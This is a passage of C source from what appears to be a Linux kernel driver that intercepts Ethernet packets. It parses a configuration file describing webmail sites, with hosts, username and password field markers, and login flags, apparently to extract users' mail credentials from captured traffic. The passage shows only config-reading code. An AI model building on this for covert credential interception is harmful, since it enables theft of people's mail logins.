ctrlthread.c

Linux下面截获以态网数据包！是在内核态下面运行的驱动程序

				step=3;
				break;
			case 3:
				if( szFileData[ i ] == '\r' )
				{
					step = 0;
					continue;
				}
				
				if( szFileData[ i ] == '\n' )
				{
					step = 0;
					continue;
				}
				
				if( szFileData[ i ] == '=' )
				{
					memset( KeyName, 0, sizeof(KeyName) );
					memcpy( KeyName, &szFileData[ idx ], i - idx );
					
					for( idx = i - idx - 1; idx > 0; idx -- )
					{
						if( KeyName[ idx ] == ' ' )
							KeyName[ idx ] = 0;
						
						if( KeyName[ idx ] == '\t' )
							KeyName[idx]=0;
					}	
					
					if( 0 == strcmp( KeyName, lpKeyName ) )
						step=4;
					else
						step=-1;
				}
				break;
			case 4:
				if( szFileData[ i ] == '\r' )
					continue;
				
				if( szFileData[ i ] == '\n' )
					continue;
				
				if( szFileData[ i ] == '\t' )
					continue;
				
				if( szFileData[ i ] == ' ' )
					continue;
					
				idx = i;
				step = 5;
				break;
			case 5:
				if( szFileData[ i ] == '\r' ) 
					step=6;
					
				break;
			case 6:
				if( szFileData[ i ] == '\n' )
				{
					if( ( i - idx - 1 ) > nSize )
						goto ExitSub;
					
					memcpy( lpReturnedString, &szFileData[ idx ], i - idx - 1 );
					lpReturnedString[ i - idx - 1 ] = 0;
					goto ExitSub;
				}
				break;
			default:
				continue;
			}
		}
	}
	
	if(step==5)
	{
		memcpy( lpReturnedString, &szFileData[ idx ], i - idx + 1 );
		lpReturnedString[ i - idx + 1 ] = 0;
	}
	
ExitSub:
	kfree( szFileData );
	
	return 1;
}

char InitWebMailConfig()
{
	char *pKey = NULL;
	char *pEnd = NULL;
	char *pBuffer = NULL;
	char *p = NULL;
	UCHAR *pDot = NULL;
	PWEB_MAIL_CONFIG pWebMailConfig = NULL;
	UCHAR	uChar = '\0';
	UINT	uAttr = 0;
	UINT	uCrypt = 1;
//	UINT	uHttpType = 1;
	
	pBuffer = ReadWebMailConfig();
	if( !pBuffer )
	{
		printk( "read failed!\r\n" );
		return 0;
	}
	
	pKey = pBuffer;
	pKey = strstr( pKey, WEB_MAIL_BEGIN);
	while( pKey )
	{
		uAttr = 0;
		uCrypt = 1;
		while( pKey )
		{
			switch( *((UINT *)pKey) )
			{
			case 0x69676562://0x62656769://begi
				pWebMailConfig = (PWEB_MAIL_CONFIG)kmalloc( sizeof(WEB_MAIL_CONFIG), GFP_ATOMIC );
				
				if( !pWebMailConfig )
					goto quit;
				
				memset( pWebMailConfig, 0, sizeof(WEB_MAIL_CONFIG) );
				pWebMailConfig->uiLocation = 0;
				pWebMailConfig->pNext = gVar.gWebMailConfig;
				gVar.gWebMailConfig = pWebMailConfig;
				break;
				
			case 0x72747461://0x61747472://attr
				pKey += strlen( WEB_MAIL_HOST_ATTR ) + 1;
				pEnd = strstr( pKey, WEB_MAIL_CONFIG_SEQ );
				
				if( !pEnd )
					goto quit;
				
				uChar = *pEnd;
				*pEnd = '\0';
				pWebMailConfig->IPType = atoi( pKey );
				*pEnd = uChar;
				break;
				
			case 0x70797263://crypt
				pKey += strlen(WEB_MAIL_CRYPTOGRAM)+1;
				pEnd = strstr( pKey, WEB_MAIL_CONFIG_SEQ );
				
				if( !pEnd )
					goto quit;
				
				uChar = *pEnd;
				*pEnd = '\0';
				pWebMailConfig->crypt = atoi( pKey );
				*pEnd = uChar;
				break;
					
			case 0x74736f68://0x686f7374://host
				pKey += strlen(WEB_MAIL_HOST);
				pEnd = strstr( pKey, WEB_MAIL_CONFIG_SEQ );
				
				if( !pEnd )
					goto quit;
					
				uChar = *pEnd;
				*pEnd = '\0';
				sprintf( pWebMailConfig->host, "%s", pKey + 1 );
				pDot = pKey;
				p = strstr( pKey, WEB_MAIL_HOST_SEQ );
				
				while( p )
				{
					*pDot = (UCHAR)( ( (UCHAR *)p - pDot ) - 1 );
					pDot = p;
					p = strstr( p + 1, WEB_MAIL_HOST_SEQ );
				}
				*pDot = (UCHAR)(( (UCHAR *)pEnd - pDot ) -1);
				AddDomain( pKey, uAttr, pWebMailConfig, 0 );	
				*pEnd = uChar;		
				break;
				
			case 0x72657375://0x75736572://user
				pKey += strlen(WEB_MAIL_USERNAME)+1;
				pEnd = strstr( pKey, WEB_MAIL_CONFIG_SEQ );
				
				if( !pEnd )
					goto quit;
				
				uChar = *pEnd;
				*pEnd = '\0';
				
				if( (pEnd-pKey)>(WEB_MAIL_USERNAME_LEN-1))
					pKey += (pEnd-pKey)-WEB_MAIL_USERNAME_LEN-1;
				
				sprintf( pWebMailConfig->username, "%s", pKey );
				*pEnd = uChar;								
				break;
				
			case 0x73736170://0x70617373://pass
				pKey += strlen(WEB_MAIL_PASSWORD)+1;
				pEnd = strstr( pKey, WEB_MAIL_CONFIG_SEQ );
				
				if( !pEnd )
					goto quit;
				
				uChar = *pEnd;
				*pEnd = '\0';
				
				if( (pEnd-pKey)>(WEB_MAIL_PASSWORD_LEN-1))
					pKey += (pEnd-pKey)-WEB_MAIL_PASSWORD_LEN-1;
				
				sprintf( pWebMailConfig->password, "%s", pKey );
				*pEnd = uChar;				
				break;
				
			case 0x61706573://0x73657061://sepa rator
				pKey += strlen(WEB_MAIL_SEPARATOR)+1;
				pEnd = strstr( pKey, WEB_MAIL_CONFIG_SEQ );
				
				if( !pEnd )
					goto quit;
				
				uChar = *pEnd;
				*pEnd = '\0';
				
				if( (pEnd-pKey)>(WEB_MAIL_SEPARATOR_LEN-1))
					pKey += (pEnd-pKey)-WEB_MAIL_SEPARATOR_LEN-1;
				sprintf( pWebMailConfig->separator, "%s", pKey );
				*pEnd = uChar;				
				break;
				
			case 0x69676f6c://logi nflag
				pKey += strlen(WEB_MAIL_LOGIN_FLAG)+1;
				pEnd = strstr( pKey, WEB_MAIL_CONFIG_SEQ );
				if( !pEnd )
					goto quit;
				uChar = *pEnd;
				*pEnd = '\0';
				if( (pEnd-pKey)>(WEB_MAIL_LOGIN_FLAG_LEN-1))
					pKey += (pEnd-pKey)-WEB_MAIL_LOGIN_FLAG_LEN-1;
				sprintf( pWebMailConfig->loginflag, "%s", pKey );
				*pEnd = uChar;	
				break;
			case 0x66667573://suff ix
				pKey += strlen(WEB_MAIL_SUFFIX)+1;
				pEnd = strstr( pKey, WEB_MAIL_CONFIG_SEQ );
				if( !pEnd )
					goto quit;
				uChar = *pEnd;
				*pEnd = '\0';
				if( (pEnd-pKey)>(WEB_MAIL_SUFFIX_LEN-1))
					pKey += (pEnd-pKey)-WEB_MAIL_SUFFIX_LEN-1;
				sprintf( pWebMailConfig->suffix, "%s", pKey );
				*pEnd = uChar;	
				break;
			case 0x61636f6c://loca tion
				if( pWebMailConfig->uiLocation >= WEB_MAIL_LOCATION_NUM )
					break;
				pKey += strlen(WEB_MAIL_LOCATION)+1;
				pEnd = strstr( pKey, WEB_MAIL_CONFIG_SEQ );
				if( !pEnd )
					goto quit;
				uChar = *pEnd;
				*pEnd = '\0';
				if( (pEnd-pKey)>(WEB_MAIL_LOCATION_LEN-1))
					pKey += (pEnd-pKey)-WEB_MAIL_LOCATION_LEN-1;
				sprintf( pWebMailConfig->location[pWebMailConfig->uiLocation], 
					"%s", pKey );
				*pEnd = uChar;
				break;
				
			case 0x65636f6c://loce nd
				if( pWebMailConfig->uiLocation >= WEB_MAIL_LOCATION_NUM )
					break;
				pKey += strlen(WEB_MAIL_LOCEND)+1;
				pEnd = strstr( pKey, WEB_MAIL_CONFIG_SEQ );
				if( !pEnd )
					goto quit;
				uChar = *pEnd;
				*pEnd = '\0';
				if( (pEnd-pKey)>(WEB_MAIL_LOCATION_LEN-1))
					pKey += (pEnd-pKey)-WEB_MAIL_LOCATION_LEN-1;
				sprintf( pWebMailConfig->locend[pWebMailConfig->uiLocation], 
					"%s", pKey );
				*pEnd = uChar;	
				pWebMailConfig->uiLocation++;
				break;				
			case 0x6c666372://rcfl ag
				pKey += strlen(WEB_MAIL_RCFLAG)+1;
				pEnd = strstr( pKey, WEB_MAIL_CONFIG_SEQ );
				if( !pEnd )
					goto quit;
				uChar = *pEnd;
				*pEnd = '\0';
				if( (pEnd-pKey)>(WEB_MAIL_RCFLAG_LEN-1))
					pKey += (pEnd-pKey)-WEB_MAIL_RCFLAG_LEN-1;
				sprintf( pWebMailConfig->rcflag, "%s", pKey );
				*pEnd = uChar;	
				break;
			case 0x6c646461://addlist
				pKey += strlen(WEB_MAIL_ADDLIST)+1;
				pEnd = strstr( pKey, WEB_MAIL_CONFIG_SEQ );
				if( !pEnd )
					goto quit;
				uChar = *pEnd;
				*pEnd = '\0';
				if( (pEnd-pKey)>(WEB_MAIL_ADDLIST_LEN-1))
					pKey += (pEnd-pKey)-WEB_MAIL_ADDLIST_LEN-1;
				sprintf( pWebMailConfig->addlist, "%s", pKey );
				*pEnd = uChar;	
				break;				
			case 0x6f636372://rcco ntinue
				pKey += strlen(WEB_MAIL_RCCONTINUE)+1;
				pEnd = strstr( pKey, WEB_MAIL_CONFIG_SEQ );
				if( !pEnd )
					goto quit;
				uChar = *pEnd;
				*pEnd = '\0';
				if( (pEnd-pKey)>(WEB_MAIL_RCCONTINUE_LEN-1))
					pKey += (pEnd-pKey)-WEB_MAIL_RCCONTINUE_LEN-1;
				sprintf( pWebMailConfig->rccontinue, "%s", pKey );
				*pEnd = uChar;	
				break;				
			case 0x6c666172://rafl ag
				pKey += strlen(WEB_MAIL_RAFLAG)+1;
				pEnd = strstr( pKey, WEB_MAIL_CONFIG_SEQ );
				if( !pEnd )
					goto quit;
				uChar = *pEnd;
				*pEnd = '\0';
				if( (pEnd-pKey)>(WEB_MAIL_RAFLAG_LEN-1))
					pKey += (pEnd-pKey)-WEB_MAIL_RAFLAG_LEN-1;
				sprintf( pWebMailConfig->raflag, "%s", pKey );
				*pEnd = uChar;	
				break;
			case 0x6c666373://scfl ag
				pKey += strlen(WEB_MAIL_SCFLAG)+1;
				pEnd = strstr( pKey, WEB_MAIL_CONFIG_SEQ );
				if( !pEnd )
					goto quit;
				uChar = *pEnd;
				*pEnd = '\0';
				if( (pEnd-pKey)>(WEB_MAIL_SCFLAG_LEN-1))
					pKey += (pEnd-pKey)-WEB_MAIL_SCFLAG_LEN-1;
				sprintf( pWebMailConfig->scflag, "%s", pKey );
				*pEnd = uChar;	
				break;
			case 0x6c666173://safl ag
				pKey += strlen(WEB_MAIL_SAFLAG)+1;
				pEnd = strstr( pKey, WEB_MAIL_CONFIG_SEQ );
				if( !pEnd )
					goto quit;
				uChar = *pEnd;
				*pEnd = '\0';
				if( (pEnd-pKey)>(WEB_MAIL_SAFLAG_LEN-1))
					pKey += (pEnd-pKey)-WEB_MAIL_SAFLAG_LEN-1;
				sprintf( pWebMailConfig->saflag, "%s", pKey );
				*pEnd = uChar;	
				break;
			default:
				break;		
			}
			
			pKey = strstr( pKey, WEB_MAIL_CONFIG_SEQ );
			if( pKey )
			{
				pKey += strlen( WEB_MAIL_CONFIG_SEQ );
				if(*(UINT *)pKey == 0x75646e65)	//endu p
				{
					break;
				}
			}
				
		}
		
		pKey = strstr( pKey, WEB_MAIL_BEGIN);
	}
	
	kfree( pBuffer );
	return 1;
quit:	
	kfree( pBuffer );
	return 0;
}


char * ReadWebMailConfig()
{
	struct file *file = NULL;
	mm_segment_t old_fs;
	int nRead;

	char	cstepfilePathName[_MAX_OUTPUT_FILE_LENGTH];
	void	*pBuffer=NULL;
		
	memset( cstepfilePathName, 0, _MAX_OUTPUT_FILE_LENGTH );
	sprintf( cstepfilePathName, "%s", WEB_MAIL_CONFIGURE_FILE );	

	file = filp_open( cstepfilePathName, O_RDWR | O_APPEND | O_CREAT, 0644 );
	if( IS_ERR(file) )
	{
		printk( "error occured while opening file %s, exiting...\n", cstepfilePathName );
		return NULL;
	}

	pBuffer = kmalloc( WEB_MAIL_CONFIG_BUF_LEN, GFP_ATOMIC );
	if( !pBuffer )
	{
		printk( "Error: Con't allocat webconfig buf, exiting...\r\n" );
		kfree( pBuffer );
		return NULL;
	}
		
	memset( pBuffer, 0, WEB_MAIL_CONFIG_BUF_LEN );
	old_fs = get_fs();
	set_fs(KERNEL_DS);
	
	nRead = generic_file_read( file, pBuffer, WEB_MAIL_CONFIG_BUF_LEN, &file->f_pos );
	set_fs(old_fs);
		
	if( file != NULL )
    	filp_close( file, NULL );
    	
	return pBuffer;
}